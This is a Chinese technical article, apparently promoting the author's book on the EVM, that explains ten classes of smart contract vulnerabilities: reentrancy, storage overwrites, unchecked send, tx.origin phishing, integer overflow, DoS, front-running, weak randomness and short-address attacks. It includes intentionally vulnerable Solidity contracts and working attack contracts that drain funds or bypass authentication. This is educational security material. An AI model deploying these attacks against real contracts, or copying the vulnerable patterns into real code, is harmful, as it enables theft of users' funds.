解密智能合约TOP10安全漏洞

以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容

电子版PDF下载:https://download.csdn.net/download/softgmx/10800947

 

重入问题

漏洞成立的条件:

  1. 合约调用带有足够的gas
  2. 有转账功能(payable)
  3. 状态变量在重入函数调用之后

底层转账函数

防重入

错误处理

.call.value()()

NO

返回false

.send()

YES

返回false

.transfer()

YES

Revert stateDB到调用前状态

.call.value()的实现:

解密智能合约TOP10安全漏洞_第1张图片

 

.send()的实现:

解密智能合约TOP10安全漏洞_第2张图片

 

.transfer()的实现:

解密智能合约TOP10安全漏洞_第3张图片

 

Transfer能在调用失败时候主动抛出异常的原理:

解密智能合约TOP10安全漏洞_第4张图片

 

漏洞案例合约:

contract EtherStore {

    uint256  public  withdrawalLimit = 1 ether;

    mapping(address => uint256)  public  lastWithdrawTime;

    mapping(address => uint256)  public  balances;

    function depositFunds()  public  payable {

        balances[msg.sender] += msg.value;

    }

    function withdrawFunds (uint256 _weiToWithdraw)  public {

        require(balances[msg.sender] >= _weiToWithdraw);

        // limit the withdrawal

        require(_weiToWithdraw <= withdrawalLimit);

        // limit the time allowed to withdraw

        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

        require(msg.sender.call.value(_weiToWithdraw)());

        balances[msg.sender] -= _weiToWithdraw;

        lastWithdrawTime[msg.sender] = now;

    }

 }

攻击合约:

import "EtherStore.sol";

contract Attack {

  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {

      etherStore = EtherStore(_etherStoreAddress);

  }

  function pwnEtherStore()  public  payable {

      require(msg.value >= 1 ether);

      etherStore.depositFunds.value(1 ether)();

      etherStore.withdrawFunds(1 ether);

  }

  function collectEther()  public {

      msg.sender.transfer(this.balance);

  }

  function ()  payable {

      if (etherStore.balance > 1 ether) {

          etherStore.withdrawFunds(1 ether);

      }

  }

}

上面就是著名的针对the DAO合约的攻击原型,导致了ETH分叉成ETH和ETC。

 

变量覆盖问题

(1)存储 hash 碰撞问题

contract PresidentOfCountry {

    struct Person {

        address[] addr;

        uint funds;

    }   

    uint tt=10;

    mapping(address => Person) public people;  

    function f() {

         people[msg.sender].addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,

                                    0x14723a09acff6d2a60dcdf7aa4aff308fddc160c,

                                    0xdd870fa1b7c4700f2bd7f44238821c26f7392148];

         people[msg.sender].funds = 0x10af;

    }

}

看看这份合约的存储布局

解密智能合约TOP10安全漏洞_第5张图片

 

存储布局:

解密智能合约TOP10安全漏洞_第6张图片

address(addr) = sha3(1)+0               

address(addr[0]) = sha3(sha3(1))+0

address(addr[1]) = sha3(sha3(1))+1

address(addr[2]) = sha3(sha3(1))+2

address(funds) = sha3(1)+1   

 

 

(2)函数内未初始化的储存指针所带来的覆写问题:

Solidity语言也允许用户自定义struct这种复合数据集,如果struct定义在函数内,那么它为局部变量且默认使用storage存储类型(引用类型),但也可显式指定为memory存储类型。

如果在函数内定义一个未初始化struct结构体,它默认是storage pointer类型,而且会指向的是storage[0]的位置,而这个位置却是第一个全局变量的位置,这样会导致全局变量被覆写,从而引发严重的安全问题。

 

案例合约:

pragma solidity ^0.4.25;

contract Test {

        address public owner;

        address public a;

        struct Seed {

                address x;

                uint256 y;

        }

        function Test() {

                owner = msg.sender;

                a = 0x1111111111111111111111111111111111111111;

        }

        function fuck_u (uint256 n) public {

                Seed s;

                s.x = msg.sender;

                s.y = n;

        }

}

看看局部变量“Seed s;”的默认类型(https://solidity.readthedocs.io/en/v0.5.0/types.html#structs):

解密智能合约TOP10安全漏洞_第7张图片

 

调用调用fuck_u方法前:

解密智能合约TOP10安全漏洞_第8张图片

 

调用fuck_u方法后:

解密智能合约TOP10安全漏洞_第9张图片

 

逻辑错误:

容易引起逻辑错误的地方,往往是因为对EVM底层函数调用机制的不熟悉

调用方法

失败返回

address.call()

false

address.callcode()

false

address.delegatecall()

false

address.send()

false

address.transfer()

抛出异常,revert StateDB

 

案例:

function withdraw(uint256 _amount) public {

    require(balances[msg.sender] >= _amount);

    balances[msg.sender] -= _amount;

    etherLeft -= _amount;

    msg.sender.send(_amount);  //没有判断返回值,可能造成转账失败,但余额被扣

}

另外,需要注意的是,如果call、callcode、delegatecall、send调用的合约地址不存在,也会返回True,这是EVM实现问题

 

鉴权问题

绕过鉴权通常有以下几种方法:

  • 利用钓鱼bypass掉基于tx.origin的鉴权
  • 利用回调函数bypass掉基于owner的鉴权
  • 通过覆写storage变量,改变owner的值,能bypass掉所有的鉴权
  • 利用错误的构造函数

解密智能合约TOP10安全漏洞_第10张图片

tx.origin指的是最初始发起调用的地址,如果用户actor通过合约b调用了合约c,对于合约c来说,tx.origin就是用户actor,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

举例漏洞合约:

pragma solidity >0.4.24;

contract TxUserWallet {

    address owner;

    constructor() public {

        owner = msg.sender;

    }

    function transferTo(address dest, uint amount) public {

        require(tx.origin == owner);

        dest.transfer(amount);

    }

}

 

构造攻击合约:

pragma solidity >0.4.24;

interface TxUserWallet {

    function transferTo(address dest, uint amount) external;

}

contract TxAttackWallet {

    address owner;

    constructor() public {

        owner = msg.sender;

    }

function() external {

        //只要引诱用户Actor给TxAttackWallet合约转账就可以成功bypass TxUserWallet合约的鉴权保护。

        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance); 

    }

}

 

整数溢出:

原理介绍:

uint 8:  [0,0xff]

uint 256:[0,0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff ]

 

首先,让sellerBalance=0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff;

解密智能合约TOP10安全漏洞_第11张图片

 

然后,加2使uint256发生整数溢出:

解密智能合约TOP10安全漏洞_第12张图片

 

案例(美链):

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {

uint  cnt = _receivers.length;

//可以构造出一个很大的_value与cnt相乘溢出得到一个小于balances[msg.sender]的值,

//这样能成功绕过后面的界限保护

uint256  amount = uint256(cnt) * _value; 

    require(cnt > 0 && cnt <= 20);

    require(_value > 0 && balances[msg.sender] >= amount);

    balances[msg.sender] = balances[msg.sender].sub(amount);

    for (uint i = 0; i < cnt; i++) {

        balances[_receivers[i]] = balances[_receivers[i]].add(_value);

        Transfer(msg.sender, _receivers[i], _value);

    }

    return true;

 }

 

拒绝服务

核心思想:

  • 让你程序出现逻辑错误
  • 让你gas燃尽,从而无法后续操作

KingOfEther(国王游戏)被DoS攻击的合约:

pragma solidity ^0.4.10;

contract PresidentOfCountry {

    address public president;

    uint256 price;

    function PresidentOfCountry(uint256 _price) {

        require(_price > 0);

        price = _price;

        president = msg.sender;

    }

    function becomePresident() payable {

        require(msg.value >= price); // must pay the price to become president

              //如果攻击合约让transfer返回失败,那么谁无法替代黑客的国王地位

        president.transfer(price);   // we pay the previous president

        president = msg.sender;      // we crown the new president

        price = price * 2;           // we double the price to become president

    }

}

攻击合约

contract Attack {

    function () { revert(); }      //让调用合约永远返回失败

    function Attack(address _target) payable {

        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));

    }

}

 

(2)gas燃尽,无法后续操作

contract DistributeTokens {

    address public owner; // gets set somewhere

    address[] investors; // array of investors

    uint[] investorTokens; // the amount of tokens each investor gets

    // ... extra functionality, including transfertoken()

    function invest() public payable {

        investors.push(msg.sender);

        investorTokens.push(msg.value * 5); // 5 times the wei sent

        }

    function distribute() public {

        require(msg.sender == owner); // only owner

        // 通过上面的invest 可以控制investors数组长度,当其长度超过一个阀值,这个distribute方法在for循环处就会因为gas不足而退出,进而无法完成批量转账

        for(uint i = 0; i < investors.length; i++) { 

            // here transferToken(to,amount) transfers "amount" of tokens to the address "to"

            transferToken(investors[i],investorTokens[i]);

        }

    }

}

 

插队攻击

两个要点:

  • 作弊(在pending的block中偷看别人的答案)
  • 提高gas, 优先成交

解密智能合约TOP10安全漏洞_第13张图片

 

 

伪随机数问题

矿工可以操纵时间戳

roulette.sol

contract Roulette {

    uint public pastBlockTime; // Forces one bet per block

    constructor() public payable {} // initially fund contract

 

    // fallback function used to make a bet

    function () public payable {

        require(msg.value == 10 ether); // must send 10 ether to play

        //可以通过插队攻击来优先成交

        require(now != pastBlockTime); // only 1 transaction per block

        pastBlockTime = now;

        //矿工可以操纵出块的时间戳,以满足now(block.timestamp) :  now % 15 == 0

        if(now % 15 == 0) { // winner

            msg.sender.transfer(this.balance);

        }

    }

}

 

以太短地址攻击

攻击目标:

  • 交易所

以ERC-20 TOKEN标准的代币为例,其transfer方法定义如下:

function transfer(address to, uint tokens) public returns (bool success);

如果我们要给地址0000000000000000000000000123456789012345678901234567890123456700发送2个ETH,

当我们调用transfer函数发送代币的时候,交易的input数据分为3个部分(如下图a):

解密智能合约TOP10安全漏洞_第14张图片

 

但如果我传入的地址最后两位是00的话,可以不写,这样合约在解析参数时,会从下一个参数的高位拿到00来补充,而后面的参数不足32字节,会自动在尾部补上00,这样我们只取2个ETH, 却拿到了512个ETH.

 

如果不对参数的有效性进行校验,就自动补齐是非常危险的

 

你可能感兴趣的:(BlockChain)